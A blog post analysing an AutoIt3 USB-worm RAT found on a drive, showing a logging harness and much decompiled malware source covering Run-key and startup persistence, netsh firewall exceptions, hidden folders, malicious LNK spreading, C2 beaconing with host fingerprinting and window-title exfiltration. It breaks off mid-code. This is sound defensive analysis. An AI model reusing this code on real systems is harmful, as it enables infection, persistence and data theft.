DEV Community

Mehmet Ali
Mehmet Ali

Posted on • Originally published at malisipi.com

Hunting Coyote: A Full Analysis of the 0LIONW0 AutoIt3 RAT

0. Origin of the Story

I found a USB at home. And I have no clue about it contains what. I plugged it to computer and I notice a folder named as "MozillaFirefox". I was sure about it wasn't a real Firefox edition however I didn't know what is it. After opening the "MozillaFirefox" folder, I found a suspicious EXE and a bunch of LNK files. And quickly realized it is a malware especially recognizing AutoIt 3 icon on top the EXE.

1. Decompiling

Visual basic script and similar languages like it doesn't have true compiling state, they are mostly only obfuscating and convert them a basic binary format. After grabbing a AutoIt 3 decompiler, you can easily convert to source code however those obfuscations will stay as persistent. The source code that we get also have AutoIt 3 headers, which are not related with directly malware.

2. Preparation

2.1. Getting AutoIt 3

Since AutoIt 3 runtime embeds the version into metadata, it's very easy to learn. Our malware is using 3.3.8.1th version of AutoIt 3. It's important since malware not having file write operations. If we want to proxy them and log into a file, we will need correct headers with the malware. I don't want to fix conflicts of a malware.

Also a good notice, AutoIt3.exe from 3.3.8.1 has same file with GoogleChrome.exe. So the malware is abusing the signed AutoIt 3 runtime to run it. And the malware is only dependent to GoogleChrome.a3x file.

2.2 Basic AutoIt 3 Syntax

  • ; is command block
  • $var is used for variables
  • #include to include external AutoIt 3 scripts
  • = is assignment and equal operator same time
  • <> is not equal operator
  • & is concat operator
  • Func..EndFunc is function definition
  • If...Then...EndIf is if operator
  • While..WEnd is while loop
  • @AUTOIT_CONST is consts from AutoIt 3 runtime
  • Global/Local is setting the scope of variable
  • @error is for handling errors

3. Dynamic Analysis

Before removing the obfuscation we can run the script with function proxies and log the functions what does.

I named the decompiled file as GoogleChrome_debug.au3 and moved it into same directory which placed GoogleChrome.a3x.

Firstly we need to open a log file and create a logging function.

#include <C:\Program Files (x86)\AutoIt3\Include\FileConstants.au3>

Local $logDir = "C:\logs\"

If Not FileExists($logDir) Then
    DirCreate($logDir)
EndIf

Global $logFile = FileOpen($logDir & "Wolf_" & @AutoItPID & "_" & WolfRandomString(8) & ".log", $FO_APPEND)

Func WolfHowl($info)
    FileWrite($logFile, $info & @CRLF & @CRLF & @CRLF & "-------------------------------------------" & @CRLF)
EndFunc 

Func WolfRandomString($length)
    Local $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    Local $result = ""
    For $i = 1 To $length
    $result &= StringMid($chars, Random(1, StringLen($chars), 1), 1)
    Next
    Return $result
EndFunc

WolfHowl("Started")
Enter fullscreen mode Exit fullscreen mode

We created a C:/logs folder (if not exist) and open a log file which named as Wolf_$PID_$random.log. And also created a logging function named as WolfHowl to make easier the write process in proxy part.

Func WolfShellExecute($file, $params, $workdir, $verb, $shown)
    WolfHowl("ShellExecute" & @CRLF & ">" & $file & @CRLF & ">" & $params & @CRLF & ">" & $workdir & @CRLF & ">" & $verb & @CRLF & ">" & $shown);
    Return ShellExecute($file, StringReplace($params, ".a3x", "_debug.au3"), $workdir, $verb, $shown)
EndFunc

Func WolfInetGet($url, $file, $options, $bg)
    WolfHowl("InetGet" & @CRLF & ">" & $url & @CRLF & ">" & $file & @CRLF & ">" & $options & @CRLF & ">" & $bg);
EndFunc

Func WolfRegDelete($key, $val)
    WolfHowl("RegDelete" & @CRLF & ">" & $key & @CRLF & ">" & $val);
EndFunc

Func WolfTCPSend($sock, $data)
    WolfHowl("TCPSend" & @CRLF & ">" & $sock & @CRLF & ">" & $data);
EndFunc

Func WolfRegRead($key, $val)
    $res = RegRead($key, $val)
    WolfHowl("RegRead" & @CRLF & ">" & $key & @CRLF & ">" & $val & @CRLF & "::-> " & $res);
    Return $res
EndFunc

Func WolfRegWrite($k, $vn, $t, $v)
    WolfHowl("RegWrite" & @CRLF & ">" & $k & @CRLF & ">" & $vn & @CRLF & ">" & $t & @CRLF & ">" & $v);
    Return RegWrite($k, StringReplace($vn, ".a3x", "_debug.au3"), StringReplace($t, ".a3x", "_debug.au3"), StringReplace($v, ".a3x", "_debug.au3"))
EndFunc

Func WolfFileExists($file)
    $res = FileExists($file)
    WolfHowl("FileExists" & @CRLF & ">" & $file & @CRLF & "::-> " & $res);
    ;Return False
    Return $res
EndFunc

Func WolfTCPNameToIP($name)
    WolfHowl("TCPNameToIP" & @CRLF & ">" & $name);
    Return "127.0.0.1"
    ;Return TCPNameToIP($name)
EndFunc

Func WolfFileCreateShortcut($f, $l, $w, $a, $d = "", $i = "", $h = "", $in = "", $s = "")
    WolfHowl("FileCreateShortcut" & @CRLF & ">" & $f & @CRLF & ">" & $l & @CRLF & ">" & $w & @CRLF & ">" & $a & @CRLF & ">" & $d & @CRLF & ">" & $i & @CRLF & ">" & $h & @CRLF & ">" & $in & @CRLF & ">" & $s);
    Return FileCreateShortcut(
        StringReplace($f, ".a3x", "_debug.au3"),
        StringReplace($l, ".a3x", "_debug.au3"),
        StringReplace($w, ".a3x", "_debug.au3"),
        StringReplace($a, ".a3x", "_debug.au3"), 
        $d, $i, $h, $in, $s
    )
EndFunc

Func WolfEnvSet($env, $v = "")
    WolfHowl("EnvSet" & @CRLF & ">" & $env & @CRLF & ">" & $v);
    Return EnvSet($env, $v)
EndFunc 

Func WolfWinGetTitle($title, $text = "")
    $res = WinGetTitle($title, $text)
    WolfHowl("WinGetTitle" & @CRLF & ">" & $title & @CRLF & ">" & $text & @CRLF & "::-> " & $res);
    Return $res
EndFunc

Func WolfDirCopy($src, $dest, $f)
    WolfHowl("DirCopy" & @CRLF & ">" & $src & @CRLF & ">" & $dest & @CRLF & "> " & $f);
    DirCopy($src, $dest, $f)
EndFunc     

Func WolfDirCreate($path)
    WolfHowl("DirCreate" & @CRLF & ">" & $path);
    DirCreate($path)
EndFunc 

Func WolfFileSetAttrib($file, $flag, $recursive = 0)
    WolfHowl("FileSetAttrib" & @CRLF & ">" & $file & @CRLF & ">" & $flag & @CRLF & "> " & $recursive);
    FileSetAttrib($file, $flag, $recursive)
EndFunc

Func WolfTCPConnect($ip, $port)
    WolfHowl("TCPConnect" & @CRLF & ">" & $ip & @CRLF & ">" & $port);
    Return TCPConnect($ip, $port)
EndFunc
Enter fullscreen mode Exit fullscreen mode

In the proxy part you will see StringReplace($var, ".a3x", "_debug.au3"). It's one of core part of proxy. Since the process runs itself, we need to that to observe logs. If it runs unproxied version, we will not get full of logs that might be very important to us. Also in WolfTCPNameToIP, I don't resolve the address correctly to prevent calling home. I just resolved it as 127.0.0.1 instead of.

After we started the program and gets logs, we have same good information what it does.

DirCopy

  • DirCopy("@ScriptDir", "C:\GoogleChrome", 1);
  • DirCopy("C:\GoogleChrome", "c:\MozillaFirefox", 1);

It copies the script directory into C:\GoogleChrome and copies the C:\GoogleChrome to c:\MozillaFirefox. The virus is gaining persistency with that.

EnvSet(SEE_MASK_NOZONECHECKS, 1)

It disables the security warning for the files that comes from third sources. Probably to prevent the warning to prevent a downloaded file by running ShellExecute.

ShellExecute("netsh" "firewall add allowedprogram ""C:\GoogleChrome\GoogleChrome.exe"" ""GoogleChrome.exe"" ENABLE", "", "", 0)

It gives a firewall exception, so the application can call home without caught by firewall.

FileCreateShortcut

It creates shortcuts into the startup folder (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\) and folders that placed in root of drives.
By creating startup folder shortcuts, the malware gains persistency in the system.

TCPNameToIP("googleads[.]publicvm[.]com")

It's probably home address, since we resolved it to 127.0.0.1. We can track the malware what will do with the address.

TCPConnect("127.0.0.1", 224)

It tries opening a socket that uses 224 port. I we can understand the malware tries to connect hxxp://googleads[.]publicvm[.]com:224/. It's probably the command-and-control (C&C) server of malware. And tries hide itself like a legit Google ad server.

TCPSend(-1, "lv0LIONW0Zeus_44ED3C4A0LIONW0DESKTOP-KT50SE00LIONW0redwolf0LIONW00LIONW0WIN_8 X640LIONW00.3x Usb0LIONW0No-AntiVirus0LIONW0")

And it sending a data to C&C server. When we look at the string we can find a pattern that repeats, the 0LIONW0.
When you use the 0LIONW0 as delimiter, you will get ["lv", "Zeus_44ED3C4A", "DESKTOP-KT50SE0", "redwolf", "", "WIN_8 X64", "0.3x Usb", "No-AntiVirus", ""] array.

  • lv, Zeus_44EF3C4A, 0.3x Usb is not much meaningful from this perspective however. 0.3 might be version number, Usb might stands for spreading way. Also the 44EF3C4A looks like a hex data, it mights stands for unique id for tracking. But we need to deep-dive source code to find exactly what it means.
  • redwolf, is username of the sandbox.
  • WIN8 x64, Windows version and the Arch version. (Since the AutoIt version released before Windows 10, it detects as Windows 8 probably)
  • DESKTOP-KT50SE0, is device name.
  • No-AntiVirus, I think it's self explanatory.

RegWrite

Probably for persistency. When the programs updates, probably runs this commands.

  • RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")
  • RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")
  • RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")
  • RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")

FileSetAttrib($path, "+RSH", 0)

It changes folders attributes with Read-only, System and Hidden. It's for stay hidden even checked Show Hidden Files. Those folders will stay until uncheck Hide Protected Operating System Files (Recommended).

  • FileSetAttrib("C:\GoogleChrome", "+RSH", 0)
  • FileSetAttrib("c:\MozillaFirefox", "+RSH", 0)

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0)

It's also again a RegWrite call. However the purpose is too different, so I grouped it different. It checks Hide Protected Operating System Files (Recommended) programmatically, so the paths will be stay hidden even user unchecks the checkbox.

4. Static Analysis

#NoTrayIcon
#Region
    #AutoIt3Wrapper_Outfile_type=a3x
    #AutoIt3Wrapper_Icon=C:\Users\xShandow\Desktop\Google-Chrome-Google-Chrome.ico
#EndRegion
#NoTrayIcon
Enter fullscreen mode Exit fullscreen mode

The malware probably compiled a xShandow named user. And it tried using fake Google Chrome icon however somehow mess that and the malware is using default AutoIt 3 logo. Because of the executable also taken from official runtime, not even tried to compile or change resources. Also it's using #NoTrayIcon to hide tray symbol of AutoIt 3. But using that two times how helps I don't know.


Local $VRSRBTSPLNIRTCY = "Zeus"
$VRSRBTSPLNIRTCY &= "_" & Hex(DriveGetSerial(@HomeDrive))
Enter fullscreen mode Exit fullscreen mode

&= operator is not a logic operator. In AutoIt3, it's used as string concatenation function

Did the Zeus remind something? It's origin of Zeus_44EF3C4A. So 44EF3C4A is our home drive serial as encoded in hex.

Also I will alias $VRSRBTSPLNIRTCY as $Zeus_drive_serial.


Global $DRJIEUIAOKSOTRF = "0.3x"
If FileExists("C:\GoogleChrome/MozillaFirefox.lnk") Then
    $DRJIEUIAOKSOTRF = "0.3x Usb"
EndIf
Enter fullscreen mode Exit fullscreen mode

Also you should remember the 0.3x Usb in TCPSend. Usb part probably for reporting the malware persistence.

I will alias $DRJIEUIAOKSOTRF as $03xUsb.


$SMHPXZJFTZGXFVV = "0LIONW0"
Enter fullscreen mode Exit fullscreen mode

And the delimiter found here.


If @ScriptDir <> "C:\GoogleChrome" Then
    If "vbs" = "exe" Then
    ; Dead Code, I skipped
    Else
        DirCopy(@ScriptDir, "C:\GoogleChrome", 1)
        ShellExecute("C:\GoogleChrome\GoogleChrome.exe", "/AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x", "", "", @SW_HIDE)
        ShellExecute("cmd.exe", "/c start C:\GoogleChrome/GoogleChrome.exe C:\GoogleChrome/GoogleChrome.a3x", "", @SW_HIDE)
    EndIf
    FileSetAttrib("C:\GoogleChrome", "+RSH")
    Exit
EndIf
Enter fullscreen mode Exit fullscreen mode

It's copying the malware directory into C:/GoogleChrome if already not working there. Starts two copy of itself, and hides the malware directory as System file (like we found the analysis). Then exits.


JOBGBZLZCREXIWE() ; SetEnvNFirewall()


Func CYNFMPPBRAWIIOK()
    EnvSet("SEE_MASK_NOZONECHECKS", "1")
    ShellExecute("netsh", "firewall add allowedprogram ""C:\Program Files (x86)\AutoIt3\AutoIt3.exe"" ""GoogleChrome.exe"" ENABLE")
EndFunc
Enter fullscreen mode Exit fullscreen mode

It's sets the SEE_MASK_NOZONECHECKS as 1 and adds a firewall exception for the malware and AutoIt 3 executable.

I will alias JOBGBZLZCREXIWE as SetEnvNFirewall.


CYNFMPPBRAWIIOK() ; RegWriteAndStartupShortcuts()

Func CYNFMPPBRAWIIOK()
    If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Google Chrome", "REG_SZ", @ScriptDir & "\WindowsUpdate.lnk")
    EndIf
    If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome", "REG_SZ", @ScriptDir & "\WindowsUpdate.lnk")
    EndIf
    If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate", "REG_SZ", @ScriptDir & "\GoogleUpdate.lnk")
    EndIf
    If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate", "REG_SZ", @ScriptDir & "\GoogleUpdate.lnk")
    EndIf
    If RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",  "NewJavaInstall") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run",  "NewJavaInstall", "REG_SZ", @ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
    EndIf
    If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash") <> @ScriptDir & "\WindowsUpdate.lnk" Then
        RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash", "REG_SZ", @ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
    EndIf
    If FileExists(@StartupCommonDir & "\WindowsUpdate.lnk") = False Then
        FileCreateShortcut("cmd.exe", @StartupCommonDir & "\Google Chrome.lnk", "", "/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
    EndIf
    If FileExists(@StartupCommonDir & "\GoogleUpdate.lnk") = False Then
        FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe", @StartupCommonDir & "\GoogleUpdate.lnk", "", "/AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x")
    EndIf
EndFunc
Enter fullscreen mode Exit fullscreen mode

It's creating the RegWrite calls and creates start-up folder shortcuts here. However since half of checks RegRead and FileExists checks different key or path instead of that is actually changing, the conditions always fail and write or create them again when every time the function called.

I will alias CYNFMPPBRAWIIOK as RegWriteAndStartupShortcuts


BXTXSVPWSNIXJEB() ; AddScriptDirShortcuts()

Func BXTXSVPWSNIXJEB()
    If FileExists(@ScriptDir & "\WindowsUpdate.lnk") = False Then
        FileCreateShortcut("cmd.exe", @ScriptDir & "\WindowsUpdate.lnk", "", "/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
    EndIf
    If FileExists(@ScriptDir & "\GoogleUpdate.lnk") = False Then
        FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe", @ScriptDir & "\GoogleUpdate.lnk", "", "/AutoIt3ExecuteScript C:\Users\redwolf\Desktop\GoogleChrome.a3x")
    EndIf
EndFunc
Enter fullscreen mode Exit fullscreen mode

It's creating GoogleChrome & WindowsUpdate shortcuts for @ScriptDir.

I will alias BXTXSVPWSNIXJEB as AddScriptDirShortcuts


QHTAJWUVOFPNRCA("ALL") ; AddShortcutsNHideSystemFiles()
Enter fullscreen mode Exit fullscreen mode

QHTAJWUVOFPNRCA($UPJTUGAXAUXFQDY = "REMOVABLE");

Function definition is important. When the function called without parameter, it will runs for removable devices.

  • It runs RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0) to hide System files hidden.
  • $VMOWJBGXRMCIZPC = DriveGetDrive($UPJTUGAXAUXFQDY), it get list of all or removable drives (dependent to $UPJTUGAXAUXFQDY parameter)

    In AutoIt 3, when a internal function returns array, mostly returns in a format like [$array_size=n, $param_1, ..., $param_n]. Also this rule applies to DriveGetDrive.

  • And the function starts to iterate by using $JLVHCYFDDTVCTZJ variable.

    • $VMOWJBGXRMCIZPC[$JLVHCYFDDTVCTZJ] is letter of the drive, like C:, D: etc. I will assign it to $drive variable to make everything more readable.
    • DriveStatus($drive) = "READY", checks the status of drive.
    • DriveSpaceFree($drive) > 10, And checks storage has more capacity than 10 MB.
    • If FileExists($drive & "\MozillaFirefox") = 0 Then FileDelete($drive & "\MozillaFirefox"), it deletes MozillaFirefox folder that placed in drives root (if exist).
    • DirCopy(@ScriptDir, $drive & "\MozillaFirefox", 1), then it copies the script folder to MozillaFirefox folder.
    • FileSetAttrib($drive & "\MozillaFirefox", "+RSH"), it sets MozillaFirefox folder as Read-only, System and Hidden.
    • Ands starts iterate for every file in root of drive by using FileFindFirstFile and FileFindNextFile. Iterator is $QQYEAOZDVRDISHX however i will call it as $folder for readability.
      • Checks is it folder by using StringInStr(FileGetAttrib(...), "D") and also checks the folder name is not equal to . and ...
      • Creates two malicious shortcuts for every folder in the drive
        • FileCreateShortcut("cmd.exe", $drive & "\" & $folder & "\" & $folder, "", "/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
        • FileCreateShortcut("cmd.exe", $drive & "\" & $folder & "\My Music", "", "/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
      • Sleep(40), Sleeps 40 ms. Probably for avoiding high CPU/Disk usage.

It's core logic for spreading device to device. It's using removable drives as jump table, and spreads by running the shortcut file. Also that's explaining why I found the virus in a folder named as MozillaFirefox that placed on root of the USB.

explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) pattern is basically explorer %CD%. The patterns that given as a parameter to malware, might shows the malware was wanting to execute commands from command line parameters. However the malware don't have any mechanism for that.

But since the command run via cmd.exe, the & symbol was handled by cmd.exe and won't passed to application. So probably the malware might expected to have /c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x & explorer %cd% parameter to open explorer and behave like normal folder shortcut. However those of all is just assumptions and the shortcuts are badly formatted. So they just trigger the executable.

I will alias the QHTAJWUVOFPNRCA as AddShortcutsNHideSystemFiles.

Also you can remember we found most of that already in static analysis section. Time is solving what we cannot find in dynamic analysis.


JTKCXJWJGPEWDWJ() ; AddMyFolders()
Enter fullscreen mode Exit fullscreen mode

It has a lot of similar parts to AddShortcutsNHideSystemFiles (aka QHTAJWUVOFPNRCA).

  • $RVHWXRAJIWSBONA = DriveGetDrive("REMOVABLE"), it gets a list of removable drives
  • And the function starts to iterate by using $UYQCHVSHUXEVFXD variable.

    • $RVHWXRAJIWSBONA[$UYQCHVSHUXEVFXD] is letter of the drive, like C:, D: etc. I will assign it to $drive variable to make everything more readable.
    • DriveStatus($drive) = "READY", checks the status of drive.
    • DriveSpaceFree($drive) > 1024, And checks storage has more capacity than 1024 MB.
    • DirCopy(@ScriptDir, $drive & "\MozillaFirefox", 1), it copies the script folder to MozillaFirefox folder.
    • FileSetAttrib($drive & "\MozillaFirefox", "+RSH"), it sets MozillaFirefox folder as Read-only, System and Hidden.
    • Creates two shortcuts named as Documents and Downloads to root of device.
      • FileCreateShortcut("cmd.exe", $drive & "\Documents", "", "/c start MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
      • FileCreateShortcut("cmd.exe", $drive & "\Downloads", "", "/c start MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
    • If $drive & "\My Games" folder not exist, it creates a directory at $drive & "\My Games".
    • If $drive & "\My Pictures" folder not exist, it creates a directory at $drive & "\My Games". There's no typo. Probably malware author forget to change folder name, it shows the quality of the malware.
    • If $drive & "\My Videos" folder not exist, it creates a directory at $drive & "\My Videos".
    • If $drive & "\My Movies" folder not exist, it creates a directory at $drive & "\My Movies" and ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");.
    • Then calls AddShortcutsNHideSystemFiles (aka QHTAJWUVOFPNRCA) (with default "REMOVABLE" parameter).

I will alias the JTKCXJWJGPEWDWJ as AddMyFolders.


Global $YLZDSLGVNMGLHEL = "googleads[.]publicvm[.]com"
Global $TMDVEICCZCVSTZO = 224
Global $JDSQSBWWYOBBUNS = -1 ; $TCP_Socket
Global $VLKUJUBFNIMZXZY = 0; ; $TCP_Connection_State

Func FGHHVXEASQLUIKK() ; ResolveAddressAndConnect()
    $VLKUJUBFNIMZXZY = 0 
    TCPCloseSocket($JDSQSBWWYOBBUNS)
    TCPShutdown()
    TCPStartup()
    $JDSQSBWWYOBBUNS = -1
    $JDSQSBWWYOBBUNS = TCPConnect(TCPNameToIP($YLZDSLGVNMGLHEL), $TMDVEICCZCVSTZO)
    $VLKUJUBFNIMZXZY = 0
EndFunc
Enter fullscreen mode Exit fullscreen mode

It tries to connect C&C server here like we find at dynamic analysis.

I will alias $JDSQSBWWYOBBUNS as $TCP_Socket and $VLKUJUBFNIMZXZY as $TCP_Connection_State for readability. And alias the function FGHHVXEASQLUIKK as ResolveAddressAndConnect.


Func ERQSAKPMOAIZNXP($OPGATNEJQLBURNA) ; DataReport($data)
    $OPGATNEJQLBURNA = StringReplace($OPGATNEJQLBURNA, @CRLF, "|")
    TCPSend($TCP_Socket, $OPGATNEJQLBURNA & @CRLF)
    If @error Then
        $TCP_Connection_State = 1
        Return 0
    Else
        Return 1
    EndIf
EndFunc
Enter fullscreen mode Exit fullscreen mode

It's a data reporter function to C&C server, it gets the $OPGATNEJQLBURNA parameter and replaces CRLF with "|" and sends via the socket.

I will alias the function ERQSAKPMOAIZNXP as DataReport.

And we have learned what happens by ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!"); function call. When the virus infects a new removable drive, it calls home and reports that.

And fun fact, ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!"); can be run before the socket opening. If you boot your computer with removable device attached or first run of the malware, AddMyFolders will be run before first ResolveAddressAndConnect call. So, it will always fail in those situations.


Func RKCGDIKLHXBSMSW() ; GetCommandFromCNC()
    If $TCP_Socket < 1 Then
        $TCP_Connection_State = 1
        Return -1
    EndIf
    $TWZCNPRQZYRMAHS = TCPRecv($TCP_Socket, 1024, 0)
    If @error Then
        $TCP_Connection_State = 1
        Return -1
    EndIf

    ; Dead code elimination, some concat and string operations however none of them used really
    If StringInStr($TWZCNPRQZYRMAHS, @CRLF) Then
        Return $TWZCNPRQZYRMAHS
    EndIf
    Return ""
EndFunc
Enter fullscreen mode Exit fullscreen mode

It's basically checks socket and receive command from C&C server. If the answer $TWZCNPRQZYRMAHS has @CRLF in it, returns with the answer. If not, returns with "". And you should notice, if it encounter with an error, returns with -1.

I will alias the function RKCGDIKLHXBSMSW as GetCommandFromCNC.


If _Singleton("GoogleChrome.exe", 1) = 0 Then
    Exit
EndIf
Enter fullscreen mode Exit fullscreen mode

And it uses singleton here, probably prevent starting multiple instance and opening multiple socket with C&C server.


Func AV() ; The only function that I will not alias to something probably in this Writeup
    Local $AVNAME
    If @OSVersion = "WIN_XP" Then
        $OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter")
    Else
        $OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter2")
    EndIf
    $COLITEMS = $OWMI.ExecQuery("Select * from AntiVirusProduct")
    For $OBJANTIVIRUSPRODUCT In $COLITEMS
        $AVNAME = $OBJANTIVIRUSPRODUCT.displayName
    Next
    If $AVNAME = False Then
        Return "No-AntiVirus"
    Else
        Return $AVNAME
    EndIf
EndFunc
Enter fullscreen mode Exit fullscreen mode

It's self explanatory, it iterates SecurityCenter entries and returns last anti-virus provider. If an anti-virus not exist, returns No-AntiVirus. Also did you remember No-AntiVirus entry, we found it in static analysis.


Func XFNYFKEFWEQHZMH() ; BrokenUninstall()
    DataReport("MSG0LIONW0 Uninstall !!")

    RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome")
    RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome")
    RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate")
    RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate")
    RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall")
    RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash")
    ShellExecute("netsh", "firewall delete allowedprogram " & @AutoItExe, "", "", @SW_HIDE)
    ShellExecute(@ComSpec, "/k ping 0 & del " & @AutoItExe & " & exit", "", "", @SW_HIDE)
    Exit
EndFunc
Enter fullscreen mode Exit fullscreen mode

Whoa, did we find a uninstall function in this malware? Cool! However did you not expect it is well working, right? It only deletes the the regedit keys, the malware that placed C:\GoogleChrome\GoogleChrome.exe, removes the firewall exception. And remove itself. The shortcuts and C:\MozillaFirefox still exist and can the malware spread it again.

But i liked the way to remove executable, it starts a cmd.exe and ping 0 to sleep the malware exits while ping is sending then cmd.exe removes by del @AutoItExe part.

Also it's sending MSG0LIONW0 Uninstall !!" message to server.


$ZKXUZCJNQFHAJKU = 4 ; $counter_to_spread
$BJLTKXJDEYWQECD = 0 ; $counter_to_steal
$SSPGCTZBCDDBOHR = "" ; $last_window_title

While 1
Enter fullscreen mode Exit fullscreen mode

We have a bunch of variables and we are going into the main loop.

    $counter_to_spread += 1
    If $counter_to_spread = 5 Then
        $counter_to_spread = 0
        RegWriteAndStartupShortcuts()
        AddMyFolders()
    EndIf
Enter fullscreen mode Exit fullscreen mode

It have basically (++counter_to_spread%5 == 0) condition and triggers the functions to spread removable devices and sure the malware is still persistent.

    $EWFVJGZMZAZBQSC = GetCommandFromCNC() ; $CNC_command
Enter fullscreen mode Exit fullscreen mode

It gets command from C&C to process.

    Select
        Case $CNC_command = -1 Or $TCP_Connection_State = 1
            Sleep(3000)
            ResolveAddressAndConnect()
            DataReport("lv0LIONW0" & $Zeus_drive_serial & "0LIONW0" & @ComputerName & "0LIONW0" & @UserName & "0LIONW0" & "0LIONW0" & @OSVersion & " " & @OSArch & "0LIONW0" & $03xUsb & "0LIONW0" & AV() & "0LIONW0")
Enter fullscreen mode Exit fullscreen mode

It checks the status of socket. And if connection not initialized or terminated, it is trying to start connection here and report the computer information. That we found already in static analysis. Also the Sleep call probably to prevent triggering an anti-virus and keep hidden in other network requests.

Also it's the only call of ResolveAddressAndConnect function in the malware. The all previous DataReport calls will always fail cause from that.

        Case $CNC_command = ""
            $counter_to_steal += 1
            Sleep(1000)
            If $counter_to_steal = 8 Then
                $counter_to_steal = 0
                $CALKNAYQNVAYKLR = WinGetTitle("")
                If $CALKNAYQNVAYKLR <> $last_window_title Then
                    DataReport("ac0LIONW0" & $CALKNAYQNVAYKLR)
                EndIf
                $last_window_title = $CALKNAYQNVAYKLR
                $CALKNAYQNVAYKLR = ""
            EndIf
Enter fullscreen mode Exit fullscreen mode

If socket connected successfully, it will capture current window title via WinGetTitle("") in every 8 seconds. If the current title is not equal to previous title, it will reported via DataReport.

        Case $CNC_command <> ""
            $XOHRZSTRJNJQZYB = StringSplit($CNC_command, "0LIONW0", 1) ; $CNC_command_list
